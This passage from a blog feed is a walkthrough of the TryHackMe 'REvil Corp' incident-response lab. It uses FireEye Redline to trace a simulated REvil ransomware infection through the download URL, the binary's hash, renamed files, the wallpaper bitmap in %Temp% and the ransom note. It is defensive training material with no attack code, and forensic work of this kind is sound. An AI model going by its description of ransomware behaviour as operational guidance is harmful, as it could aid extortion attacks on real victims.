rel=&#34;noopener&#34;&#xA;    &gt;https://www.chainabuse.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Sysinternals Suite:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>TryHackMe  —  REvil Corp Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/</link>
            <pubDate>Sun, 07 Apr 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/f4c9c9721f1e6726d2c385d06521db0c_MD5.png&#34; alt=&#34;Featured image of post TryHackMe  —  REvil Corp Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;tryhackmerevil-corp-challenge-walkthrough&#34;&gt;TryHackMe — REvil Corp Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;incident-response-engagement-using-fireeyeredline&#34;&gt;Incident Response Engagement using FireEye Redline&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;f4c9c9721f1e6726d2c385d06521db0c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;275px&#34; data-flex-grow=&#34;114&#34; height=&#34;267&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/f4c9c9721f1e6726d2c385d06521db0c_MD5.png&#34; width=&#34;306&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/revilcorp&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/r/room/revilcorp&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Hello — Thanks for joining me for this weekly walkthrough!&lt;/p&gt;&#xA;&lt;p&gt;This week I am going to continue exploring the &lt;a class=&#34;link&#34; href=&#34;https://fireeye.market/apps/211364&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;FireEye Redline&lt;/strong&gt;&lt;/a&gt; tool by investigating the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/revilcorp&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;REvil Corp&lt;/strong&gt;&lt;/a&gt; incident response challenge room over on &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In the spirit of learning, I will not be revealing the flags in this walkthrough but this is a &lt;em&gt;FREE&lt;/em&gt; room so anyone can test their skills with &lt;strong&gt;Redline&lt;/strong&gt; and perform the investigation along with me and find the answer on their own.&lt;/p&gt;&#xA;&lt;p&gt;This challenge builds on my previous &lt;strong&gt;TryHackMe Redline&lt;/strong&gt; walkthrough so I encourage you to start there first if you are just jumping in.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/&#34; &gt;&lt;strong&gt;TryHackMe — Redline Endpoint Investigation Challenge Walkthrough&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;As always, this write-up will serve as a learning notebook for me and a &lt;strong&gt;TryHackMe&lt;/strong&gt; challenge walkthrough for anyone else who stumbles upon this post. Thanks for reading along, hope it helps!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/revilcorp&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/r/room/revilcorp&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;Scenario&lt;/strong&gt;: One of the employees at Lockman Group gave an IT department the call; the user is frustrated and mentioned that all of his files are renamed to a weird file extension that he has never seen before. After looking at the user’s workstation, the IT guy already knew what was going on and transferred the case to the Incident Response team for further investigation.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;You&lt;/strong&gt; are the incident responder. Let’s see if you can solve this challenge using the infamous Redline tool. Happy Hunting, my friend!&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-compromised-employees-fullname&#34;&gt;Question 1: What is the compromised employee’s full name?&#xA;&lt;/h3&gt;&lt;p&gt;Fortunately, the analysis session has already been created for this challenge, so we simply need to open the investigation (.mans) file in &lt;em&gt;Redline&lt;/em&gt;. Once it (finally) opens, we have quite a few options to explore in our &lt;em&gt;Analysis Data&lt;/em&gt; menu.&lt;/p&gt;&#xA;&lt;p&gt;To kick this off, let’s take a look at the &lt;em&gt;Users&lt;/em&gt; tab to hunt for the usernames on the system and find out who the victim is.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;77cb8e3af14277be5c31bed455174f08_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;525px&#34; data-flex-grow=&#34;218&#34; height=&#34;548&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/77cb8e3af14277be5c31bed455174f08_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/77cb8e3af14277be5c31bed455174f08_MD5_hu_742984ba699324fd.png 800w, https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/77cb8e3af14277be5c31bed455174f08_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Users Analysis Data&lt;/p&gt;&#xA;&lt;p&gt;Since the &lt;em&gt;Administrator&lt;/em&gt; and &lt;em&gt;Guest&lt;/em&gt; accounts are disabled, it looks like we only have one option. Let’s confirm our findings and keep going with the investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;59c01aa73e3a92985ad09a4d83a233fe_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2823px&#34; data-flex-grow=&#34;1176&#34; height=&#34;68&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/59c01aa73e3a92985ad09a4d83a233fe_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-operating-system-of-the-compromised-host&#34;&gt;Question 2: What is the operating system of the compromised host?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, now that we know who the victim is let’s take a high-level view of the victim’s machine to better understand the environment. At the very top of the &lt;em&gt;Analysis Data&lt;/em&gt; menu is the &lt;em&gt;System Information&lt;/em&gt; tab. This tab is a great starting point for us and contains information about the Machine, Operating System, and User.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3304ea6a866c4dc5bda92617b55d3b37_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;224px&#34; data-flex-grow=&#34;93&#34; height=&#34;857&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/3304ea6a866c4dc5bda92617b55d3b37_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8c1899b70cbc660803c416593f273bd1_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2630px&#34; data-flex-grow=&#34;1095&#34; height=&#34;73&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/8c1899b70cbc660803c416593f273bd1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-3-4&#34;&gt;Questions 3 &amp;amp; 4:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-name-of-the-malicious-executable-that-the-useropened&#34;&gt;What is the name of the malicious executable that the user opened?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-full-url-that-the-user-visited-to-download-the-malicious-binary-include-the-binary-aswell&#34;&gt;What is the full URL that the user visited to download the malicious binary? (include the binary as well)&#xA;&lt;/h4&gt;&lt;p&gt;Okay now we need to determine how the malicious executable was dropped onto the system. Since &lt;strong&gt;Question 4&lt;/strong&gt; is asking about a download &lt;em&gt;URL&lt;/em&gt;, let’s start with something obvious and check the &lt;em&gt;File Download History&lt;/em&gt; tab to see what we can find.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;dac7da78cf3246aab47668bfae74b8ec_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;523px&#34; data-flex-grow=&#34;218&#34; height=&#34;550&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/dac7da78cf3246aab47668bfae74b8ec_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/dac7da78cf3246aab47668bfae74b8ec_MD5_hu_2ed9633ea155a5a4.png 800w, https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/dac7da78cf3246aab47668bfae74b8ec_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;em&gt;File Download History&lt;/em&gt; shows u_s_ two artifacts, but one of the downloads has a source URL containing an IP address — that’s a bit suspicious and requires some additional investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8a6f86918fc4000aea88580a0409da75_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;273px&#34; data-flex-grow=&#34;113&#34; height=&#34;673&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/8a6f86918fc4000aea88580a0409da75_MD5.png&#34; width=&#34;767&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The artifacts we discovered so far should be sufficient to answer &lt;strong&gt;Questions 3 &amp;amp; 4&lt;/strong&gt; but it is still unclear how or why the victim acquired this executable.&lt;/p&gt;&#xA;&lt;p&gt;At this point in the analysis, we can start to speculate what might have happened:&lt;/p&gt;&#xA;&lt;p&gt;-Maybe the download URL was sent to the victim with a &lt;em&gt;Spearphishing Link?&lt;/em&gt; (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1566/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MITRE ATT&amp;amp;CK T1566.002&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;-Could the user have been searching for the legitimate application on the web and fell victim to a &lt;em&gt;Malvertising&lt;/em&gt; link? (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1583/008/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MITRE ATT&amp;amp;CK T1583.008&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;-Or maybe there was a &lt;em&gt;Supply Chain Compromise,&lt;/em&gt; and the executable was infected and distributed from the legitimate site hosting the application? (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1195/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MITRE ATT&amp;amp;CK T1195.002&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;As we go through the investigation, answering these types of questions will be important. In the real world, finding the root cause can help us form a strategy to tighten up our preventative controls and prepare us to fully eradicate the threat!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d1c8b20b9ba099ab9d25c2b9d6f03020_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2865px&#34; data-flex-grow=&#34;1194&#34; height=&#34;67&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/d1c8b20b9ba099ab9d25c2b9d6f03020_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3e4aebfdecaa9d1a0eba08d6995ef8c1_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2782px&#34; data-flex-grow=&#34;1159&#34; height=&#34;69&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/3e4aebfdecaa9d1a0eba08d6995ef8c1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-5-6&#34;&gt;Questions 5 &amp;amp; 6:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-md5-hash-of-thebinary&#34;&gt;What is the MD5 hash of the binary?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-size-of-the-binary-in-kilobytes&#34;&gt;What is the size of the binary in kilobytes?&#xA;&lt;/h4&gt;&lt;p&gt;Now, since we have the download path from the &lt;em&gt;File Download History&lt;/em&gt;, let’s actually navigate to this location using the &lt;em&gt;File System&lt;/em&gt; tab. We will select the &lt;em&gt;Downloads&lt;/em&gt; folder, locate the file, and double-click it to drill-down and get more detailed information.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c9e40e67668fb6ee80d7a8c9b42f92bc_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;386px&#34; data-flex-grow=&#34;160&#34; height=&#34;497&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/c9e40e67668fb6ee80d7a8c9b42f92bc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This will give us the specific information we are looking for to answer &lt;strong&gt;Questions 5 &amp;amp; 6&lt;/strong&gt;, including the &lt;em&gt;file size&lt;/em&gt; and &lt;em&gt;file hashes&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3064dcdc55e3cd6a5620a28c8c1c3b40_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;285px&#34; data-flex-grow=&#34;118&#34; height=&#34;636&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/3064dcdc55e3cd6a5620a28c8c1c3b40_MD5.png&#34; width=&#34;756&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Full Detailed Information of the Malicious Binary&lt;/p&gt;&#xA;&lt;p&gt;Okay! Now that we have the file hash, let’s take our analysis a step further and drop the hash into &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/a&gt; to see if we can get any hits and gather some additional intelligence on this binary:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;aff30323a0a1f5adf7ebbe6610f66555_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;685px&#34; data-flex-grow=&#34;285&#34; height=&#34;280&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/aff30323a0a1f5adf7ebbe6610f66555_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/a&gt; shows a lot of detection on this binary and includes some threat labeling that will help us to hunt for specific indicators of compromise. Keep this page open for reference later since we will use it to help answer &lt;strong&gt;Question 9!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;80449939d5986d2cf9319ec4a800c06f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1465px&#34; data-flex-grow=&#34;610&#34; height=&#34;131&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/80449939d5986d2cf9319ec4a800c06f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-7-8&#34;&gt;Questions 7 &amp;amp; 8:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-extension-to-which-the-users-files-gotrenamed&#34;&gt;What is the extension to which the user’s files got renamed?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-number-of-files-that-got-renamed-and-changed-to-that-extension&#34;&gt;What is the number of files that got renamed and changed to that extension?&#xA;&lt;/h4&gt;&lt;p&gt;Okay, let’s stick with the &lt;em&gt;File System&lt;/em&gt; tab. Since we know the user account and that the victim complained that his files “&lt;em&gt;are renamed to a weird file extension that he has never seen before&lt;/em&gt;” we can take a look at a location with high visibility and that is often used for storage — the &lt;em&gt;Desktop.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;bdc35bd8f739ad77ffaaa6faf237597f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;493px&#34; data-flex-grow=&#34;205&#34; height=&#34;584&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/bdc35bd8f739ad77ffaaa6faf237597f_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/bdc35bd8f739ad77ffaaa6faf237597f_MD5_hu_7d616a0564ff9067.png 800w, https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/bdc35bd8f739ad77ffaaa6faf237597f_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Right away we can see what the victim reported, several files with an unusual extension. Let’s try to assess the impact and determine how many files were appended with this extension.&lt;/p&gt;&#xA;&lt;p&gt;To do this, we are going to utilize the &lt;em&gt;Timeline&lt;/em&gt; feature which records all of the file events so that we can see what has been created, accessed, modified, and changed. The question is asking about files that are renamed AND changed, so within the &lt;em&gt;Timeline&lt;/em&gt; lets select &lt;em&gt;modified&lt;/em&gt; and &lt;em&gt;changed&lt;/em&gt; under &lt;em&gt;Files.&lt;/em&gt; After that we will press the filter button on the &lt;em&gt;Summary&lt;/em&gt; column and input the weird extension from &lt;strong&gt;Question 7&lt;/strong&gt; to search for files with this extension.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;0ac37863d728b4bb3343b68e47fb8255_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;524px&#34; data-flex-grow=&#34;218&#34; height=&#34;549&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/0ac37863d728b4bb3343b68e47fb8255_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/0ac37863d728b4bb3343b68e47fb8255_MD5_hu_7e0caec72d0d1f7.png 800w, https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/0ac37863d728b4bb3343b68e47fb8255_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now let’s check our results. At the bottom right of the screen we will have an item count, this should be the answer we are looking for!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6997c7a5ddb9ce47bc5cfae1bbca45f6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1142px&#34; data-flex-grow=&#34;476&#34; height=&#34;168&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/6997c7a5ddb9ce47bc5cfae1bbca45f6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-what-is-the-full-path-to-the-wallpaper-that-got-changed-by-an-attacker-including-the-imagename&#34;&gt;Question 9: What is the full path to the wallpaper that got changed by an attacker, including the image name?&#xA;&lt;/h3&gt;&lt;p&gt;To tackle this problem, let’s pull back and recall some of the indicators we have already discovered. Remember back in &lt;strong&gt;Question 6&lt;/strong&gt; that we found some information about the threat family of the malicious executable from &lt;em&gt;VirusTotal&lt;/em&gt;? Let’s use that information and do some research. This will save us time instead of manually sifting through the entire &lt;em&gt;Timeline&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Let’s head over to &lt;em&gt;Google&lt;/em&gt; and see what we can find by searching for the threat family label that we found on &lt;em&gt;VirusTotal.&lt;/em&gt; While there is quite a bit of information on this malware, I stumbled across one article that had some interesting information that will help us answer &lt;strong&gt;Question 9&lt;/strong&gt; (and confirms one of our theories from &lt;strong&gt;Question 4&lt;/strong&gt;).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.secureworks.com/research/revil-sodinokibi-ransomware&#34;  title=&#34;https://www.secureworks.com/research/revil-sodinokibi-ransomware&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;REvil/Sodinokibi Ransomware&lt;/strong&gt;&#xA;_The REvil (also known as Sodinokibi) ransomware was used by the financially motivated GOLD SOUTHFIELD threat group…_www.secureworks.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.secureworks.com/research/revil-sodinokibi-ransomware&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The article states that the malware sets a wallpaper and:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;saves the finished image to the host’s %Temp% directory using a random filename consisting of lowercase letters and numbers between 3 and 13 characters in length appended with the “.bmp” extension (e.g., C:\Users_&lt;user&gt;_\AppData\Local\Temp\cd2sxy.bmp).&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Now that we have some idea of what indicator we might be hunting for, let’s jump back into &lt;em&gt;Redline&lt;/em&gt; and adjust our filter in the &lt;em&gt;Timeline.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;We will add a filter to the &lt;em&gt;Summary&lt;/em&gt; column and specify the &lt;em&gt;Temp&lt;/em&gt; directory for the user that we are investigating. Once we have the filter in place, we can search for the &lt;em&gt;.bmp&lt;/em&gt; file extension in the search box.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;517511d5dda363522a57c62baf25f805_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;519px&#34; data-flex-grow=&#34;216&#34; height=&#34;554&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/517511d5dda363522a57c62baf25f805_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/517511d5dda363522a57c62baf25f805_MD5_hu_21e81182c6dfd7ca.png 800w, https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/517511d5dda363522a57c62baf25f805_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Great! With the help of some threat intelligence, we found the answer!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7e5d9a98305237c0acb53244c7acd4be_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2666px&#34; data-flex-grow=&#34;1111&#34; height=&#34;72&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/7e5d9a98305237c0acb53244c7acd4be_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-10-the-attacker-left-a-note-for-the-user-on-the-desktop-provide-the-name-of-the-note-with-the-extension&#34;&gt;Question 10: The attacker left a note for the user on the Desktop; provide the name of the note with the extension.&#xA;&lt;/h3&gt;&lt;p&gt;Now let’s go searching for the ransom note. While we could navigate back to the &lt;em&gt;Desktop&lt;/em&gt; from the &lt;em&gt;File System&lt;/em&gt; tab, why don’t we just keep using the &lt;em&gt;Timeline&lt;/em&gt; with some adjustments?&lt;/p&gt;&#xA;&lt;p&gt;Let’s change the &lt;em&gt;Timeline Configuration&lt;/em&gt; to show &lt;em&gt;Created&lt;/em&gt; files and then filter the summary column for the victim’s &lt;em&gt;Desktop&lt;/em&gt; path:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3cbb91ddebfcd0afde928e64ee480257_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;447px&#34; data-flex-grow=&#34;186&#34; height=&#34;643&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/3cbb91ddebfcd0afde928e64ee480257_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/3cbb91ddebfcd0afde928e64ee480257_MD5_hu_6142025d581797ba.png 800w, https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/3cbb91ddebfcd0afde928e64ee480257_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we do that, we will see a &lt;em&gt;readme&lt;/em&gt; file — I think that’s what we are looking for…&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d39f10e5e5203c79f67b4c26039825af_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;737px&#34; data-flex-grow=&#34;307&#34; height=&#34;390&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/d39f10e5e5203c79f67b4c26039825af_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/d39f10e5e5203c79f67b4c26039825af_MD5_hu_6f1bb186387ade71.png 800w, https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/d39f10e5e5203c79f67b4c26039825af_MD5.png 1198w&#34; width=&#34;1198&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;90af6c4ee59a6dbc6ee8e0469b2818cc_MD5.png&#34; class=&#34;gallery-image&#34; 